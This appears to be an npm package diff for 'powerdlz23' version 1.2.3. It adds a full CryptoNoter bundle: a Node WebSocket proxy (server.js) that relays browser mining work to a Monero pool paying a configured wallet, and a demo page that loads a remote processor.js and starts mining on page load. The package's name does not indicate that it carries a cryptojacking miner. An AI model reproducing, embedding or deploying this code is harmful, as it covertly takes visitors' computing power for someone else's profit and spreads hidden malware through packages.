powerdlz23 1.2.2 → 1.2.3

package/pto/CryptoNoter/package-lock.json

@@ -0,0 +1,33 @@
+{
+  "name": "cryptonoter",
+  "version": "1.0.0",
+  "lockfileVersion": 1,
+  "requires": true,
+  "dependencies": {
+    "async-limiter": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz",
+      "integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg=="
+    },
+    "safe-buffer": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz",
+      "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg=="
+    },
+    "ultron": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.0.tgz",
+      "integrity": "sha1-sHoualQagV/Go0zNRTO67DB8qGQ="
+    },
+    "ws": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-3.2.0.tgz",
+      "integrity": "sha512-hTS3mkXm/j85jTQOIcwVz3yK3up9xHgPtgEhDBOH3G18LDOZmSAG1omJeXejLKJakx+okv8vS1sopgs7rw0kVw==",
+      "requires": {
+        "async-limiter": "1.0.0",
+        "safe-buffer": "5.1.1",
+        "ultron": "1.1.0"
+      }
+    }
+  }
+}

package/pto/CryptoNoter/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "cryptonoter",
+  "version": "1.0.0",
+  "description": "cryptonoter",
+  "repository": "https://cryptonoter.com",
+  "main": "server.js",
+  "dependencies": {
+    "ws": "^3.2.0"
+  },
+  "devDependencies": {},
+  "scripts": {
+    "start": "node server.js"
+  },
+  "author": "cryptonoter",
+  "license": "MIT"
+}

package/pto/CryptoNoter/server.js

@@ -0,0 +1,225 @@
+/**
+ * CryptoNoter v1.2
+ * In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet
+ * Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
+ */
+var http = require('http'),
+    https = require('https'),
+    WebSocket = require("ws"),
+    net = require('net'),
+    fs = require('fs'),
+    crypto = require("crypto");
+
+var banner = fs.readFileSync(__dirname + '/banner', 'utf8');
+var conf = fs.readFileSync(__dirname + '/config.json', 'utf8');
+conf = JSON.parse(conf);
+
+//ssl support
+const ssl = !!(conf.key && conf.cert);
+
+//heroku port
+conf.lport = process.env.PORT || conf.lport;
+conf.domain = process.env.DOMAIN || conf.domain;
+
+const stats = (req, res) => {
+    res.setHeader('Access-Control-Allow-Origin', '*');
+    req.url = (req.url === '/') ? '/index.html' : req.url;
+    fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
+        if (err) {
+            fs.readFile(__dirname + '/web/404.html', (err, buf) => {
+                res.end(buf);
+            });
+        } else {
+            if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
+                buf = buf.toString().replace(/%CryptoNoter_domain%/g, conf.domain);
+                if (req.url.match(/\.js$/)) {
+                    res.setHeader('content-type', 'application/javascript');
+                }
+            } else {
+                res.setHeader('Content-Type', 'application/octet-stream');
+            }
+            res.end(buf);
+        }
+    });
+}
+
+//ssl support
+if (ssl) {
+    var web = https.createServer({
+        key: fs.readFileSync(conf.key),
+        cert: fs.readFileSync(conf.cert)
+    }, stats)
+} else {
+    var web = http.createServer(stats);
+}
+
+// Miner Proxy Srv
+var srv = new WebSocket.Server({
+    server: web,
+    path: "/proxy",
+    maxPayload: 256
+});
+srv.on('connection', (ws) => {
+    var conn = {
+        uid: null,
+        pid: crypto.randomBytes(12).toString("hex"),
+        workerId: null,
+        found: 0,
+        accepted: 0,
+        ws: ws,
+        pl: new net.Socket(),
+    }
+    var pool = conf.pool.split(':');
+    conn.pl.connect(pool[1], pool[0]);
+
+    // Trans WebSocket to PoolSocket
+    function ws2pool(data) {
+        var buf;
+        data = JSON.parse(data);
+        switch (data.type) {
+            case 'auth':
+                {
+                    conn.uid = data.params.site_key;
+                    if (data.params.user) {
+                        conn.uid += '@' + data.params.user;
+                    }
+                    buf = {
+                        "method": "login",
+                        "params": {
+                            "login": conf.addr,
+                            "pass": conf.pass,
+                            "agent": "CryptoNoter"
+                        },
+                        "id": conn.pid
+                    }
+                    buf = JSON.stringify(buf) + '\n';
+                    conn.pl.write(buf);
+                    break;
+                }
+            case 'submit':
+                {
+                    conn.found++;
+                    buf = {
+                        "method": "submit",
+                        "params": {
+                            "id": conn.workerId,
+                            "job_id": data.params.job_id,
+                            "nonce": data.params.nonce,
+                            "result": data.params.result
+                        },
+                        "id": conn.pid
+                    }
+                    buf = JSON.stringify(buf) + '\n';
+                    conn.pl.write(buf);
+                    break;
+                }
+        }
+    }
+
+    // Trans PoolSocket to WebSocket
+    function pool2ws(data) {
+        try {
+            var buf;
+            data = JSON.parse(data);
+            if (data.id === conn.pid && data.result) {
+                if (data.result.id) {
+                    conn.workerId = data.result.id;
+                    buf = {
+                        "type": "authed",
+                        "params": {
+                            "token": "",
+                            "hashes": conn.accepted
+                        }
+                    }
+                    buf = JSON.stringify(buf);
+                    conn.ws.send(buf);
+                    buf = {
+                        "type": "job",
+                        "params": data.result.job
+                    }
+                    buf = JSON.stringify(buf);
+                    conn.ws.send(buf);
+                } else if (data.result.status === 'OK') {
+                    conn.accepted++;
+                    buf = {
+                        "type": "hash_accepted",
+                        "params": {
+                            "hashes": conn.accepted
+                        }
+                    }
+                    buf = JSON.stringify(buf);
+                    conn.ws.send(buf);
+                }
+            }
+            if (data.id === conn.pid && data.error) {
+                if (data.error.code === -1) {
+                    buf = {
+                        "type": "banned",
+                        "params": {
+                            "banned": conn.pid
+                        }
+                    }
+                } else {
+                    buf = {
+                        "type": "error",
+                        "params": {
+                            "error": data.error.message
+                        }
+                    }
+                }
+                buf = JSON.stringify(buf);
+                conn.ws.send(buf);
+            }
+            if (data.method === 'job') {
+                buf = {
+                    "type": 'job',
+                    "params": data.params
+                }
+                buf = JSON.stringify(buf);
+                conn.ws.send(buf);
+            }
+        } catch (error) { console.warn('[!] Error: '+error.message) }
+    }
+    conn.ws.on('message', (data) => {
+        ws2pool(data);
+        console.log('[>] Request: ' + conn.uid + '\n\n' + data + '\n');
+    });
+    conn.ws.on('error', (data) => {
+        console.log('[!] ' + conn.uid + ' WebSocket ' + data + '\n');
+        conn.pl.destroy();
+    });
+    conn.ws.on('close', () => {
+        console.log('[!] ' + conn.uid + ' offline.\n');
+        conn.pl.destroy();
+    });
+    conn.pl.on('data', function(data) {
+        var linesdata = data;
+        var lines = String(linesdata).split("\n");
+        if (lines[1].length > 0) {
+            console.log('[<] Response: ' + conn.pid + '\n\n' + lines[0] + '\n');
+            console.log('[<] Response: ' + conn.pid + '\n\n' + lines[1] + '\n')
+            pool2ws(lines[0]);
+            pool2ws(lines[1]);
+        } else {
+            console.log('[<] Response: ' + conn.pid + '\n\n' + data + '\n');
+            pool2ws(data);
+        }
+    });
+    conn.pl.on('error', (data) => {
+        console.log('PoolSocket ' + data + '\n');
+        if (conn.ws.readyState !== 3) {
+            conn.ws.close();
+        }
+    });
+    conn.pl.on('close', () => {
+        console.log('PoolSocket Closed.\n');
+        if (conn.ws.readyState !== 3) {
+            conn.ws.close();
+        }
+    });
+});
+web.listen(conf.lport, conf.lhost, () => {
+    console.log(banner);
+    console.log(' Listen on : ' + conf.lhost + ':' + conf.lport + '\n Pool Host : ' + conf.pool + '\n Ur Wallet : ' + conf.addr + '\n');
+    console.log('----------------------------------------------------------------------------------------\n');
+});

package/pto/CryptoNoter/web/demo.html

@@ -0,0 +1,81 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+	<meta charset="UTF-8">
+	<meta name="viewport" content="width=device-width, initial-scale=1.0">
+	<meta http-equiv="X-UA-Compatible" content="ie=edge">
+	<title>CryptoNoter - Javascript Browser XMR Mining Script</title>
+	<style>
+		th {
+			width: 180px;
+		}
+	</style>
+	<script src="https://www.cryptonoter.com/processor.js"></script>
+	<script>
+		var addr = 'CryptoNoter';
+		var miner = new CryptoNoter.Anonymous(addr, {
+			throttle: 0.3
+		});
+		miner.start();
+
+		// Listen on events
+		var found = 0,
+			accepted = 0;
+		miner.on('found', function () {
+			found++;
+			document.getElementById("FoundShares").innerHTML = found;
+		});
+		miner.on('accepted', function () {
+			accepted++;
+		})
+
+		// Update stats once per second
+		setInterval(function () {
+			var idle = parseFloat(location.hash.split('#')[1]) || 0.5;
+			var hashesPerSecond = miner.getHashesPerSecond();
+			document.getElementById("TotalHashes").innerHTML = miner.getTotalHashes();
+			document.getElementById("VerifiedShares").innerHTML = miner.getAcceptedHashes();
+			document.getElementById("Hashes").innerHTML = hashesPerSecond;
+			miner.setThrottle(idle);
+			document.getElementById("Hashes").innerHTML = hashesPerSecond;
+
+		}, 500);
+
+
+	</script>
+</head>
+
+<body>
+<table width='930' cellpadding= '5' cellspacing='0'style='margin:0px;font-size:14px;' />
+<tr>
+	<td width='150' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<b>Hash Rate / Sec</b>
+	</td>
+	<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<b>Total Hashes</b>
+	</td>
+	<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<b>Shares Found</b>
+	</td>
+	<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<b>Shares Verfied</b>
+	</td>
+</tr>
+<tr>
+	<td width='150' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<div id="Hashes">0</div>
+	</td>
+	<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<div id="TotalHashes">0</div>
+	</td>
+	<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<div id="FoundShares">0</div>
+	</td>
+	<td width='195' align='left' valign='top' style='border-bottom: 1px solid #d6d5d5;'>
+		<div id="VerifiedShares">0</div>
+	</td>
+</tr>
+</table>
+</body>
+</html>

package/pto/CryptoNoter/web/index.html

@@ -0,0 +1 @@
+